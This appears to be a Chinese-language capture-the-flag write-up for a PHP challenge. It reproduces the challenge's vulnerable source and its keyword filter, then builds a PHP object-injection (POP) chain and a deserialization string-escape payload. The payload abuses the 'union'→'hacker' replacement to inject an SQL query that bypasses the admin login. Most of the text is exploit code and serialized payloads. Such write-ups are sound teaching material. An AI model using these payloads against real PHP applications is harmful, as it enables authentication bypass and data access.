public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>
先构造反序列化链
<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
$pop = new UpdateHelper();
$pop->sql = new user(); # echo $this->sql;触发__toString()调用$this->nickname->update($this->age);
$pop->sql->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
/*
*`SELECT 1, "c4ca4238a0b923820dcc509a6f75849b" FROM user WHERE username=?` 查询时,无论 `?` 替换成什么有效的用户名,只要该用户名存在于 `user` 表中,这条查询都会返回 `1` 和 `"c4ca4238a0b923820dcc509a6f75849b"`。
c4ca4238a0b923820dcc509a6f75849b是1的MD5
### 返回值说明:
- **常量 `1`**: 这个值在查询中是固定的,无论查询条件如何,它都不会改变。
- **固定字符串 `c4ca4238a0b923820dcc509a6f75849b`**: 这也是一个固定的返回值,不会根据用户输入而变化。
### 查询结果:
- 如果 `username` 存在,查询将返回这两个值。
- 如果 `username` 不存在,则查询不会返回任何行。
*/
$pop->sql->nickname = new Info(); # 然后触发Info的__call->echo $this->CtrlCase->login($argument[0]);
$pop->sql->nickname->CtrlCase = new dbCtrl();
#形成dbCtrl->login('select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?')
$pop->sql->nickname->CtrlCase->name= 'admin';
$pop->sql->nickname->CtrlCase->password = '1';
echo(urlencode(serialize($pop)));
# O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}
<?php
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
$pop = new Info('1','1');
echo(urlencode(serialize($pop)));
# O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"1";s:8:"CtrlCase";N;}
<?php
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
$pop = new Info('1','unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}');
echo(urlencode(serialize($pop)));
#O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1578:"unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}";s:8:"CtrlCase";N;}
union会被替换为hacker,多了一个字符会变成
O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1578:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}";s:8:"CtrlCase";N;}
hacker的数量正好会变成1578个,导致原来被作为字符串的";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}
被解析造成逃逸
参考
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Deserialization
https://blog.csdn.net/2301_76690905/article/details/134130710